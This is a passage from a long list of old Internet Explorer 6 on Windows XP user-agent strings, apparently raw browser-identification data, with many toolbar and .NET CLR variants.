MSIE 6.0; Windows NT 5.1; SV1; KB0:718886; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKMAN3.2; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; KKman3.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.3 (build 01218)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.9 (build 01849); .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.3 (build 02564)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.4 (build 02625)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTbNCE/5.8.0.12304) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10 beta 2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MathPlayer 2.10d; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.1; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; FDM; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; InfoPath.1; FDM; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; iOpus-I-M; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; icafe8; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 2.8; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 3.0; .NET CLR 1.0.3705; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.40607; .NET CLR 1.1.4322; FDM; MS-RTC LM Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; MEGAUPLOAD 2.0; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; Maxthon; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; PeoplePal 6.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 1.7; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 551; QQDownload 661; TencentTraveler 4.0; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 637; .NET CLR 2.0.50727; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 661; GTB6.6; TencentTraveler 4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 681; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Rogers Hi-Speed Internet; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.424.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Seekmo 10.0.424.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.0 Build 98) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.0 Build 98; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SiteKiosk 6.5 Build 150) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Sleipnir 2.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SpamBlockerUtility 4.7.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Stardock Blog Navigator 1.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 1.0.3705; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Tablet PC 1.7; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.3 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TencentTraveler 4.0; (R1 1.5); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; msn OptimizedIE8;ZHCN) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 5.6; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.0; Wanadoo 6.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.1; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.2; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.6; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; Media Center PC 3.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 6.7; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Wanadoo 7.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.0; 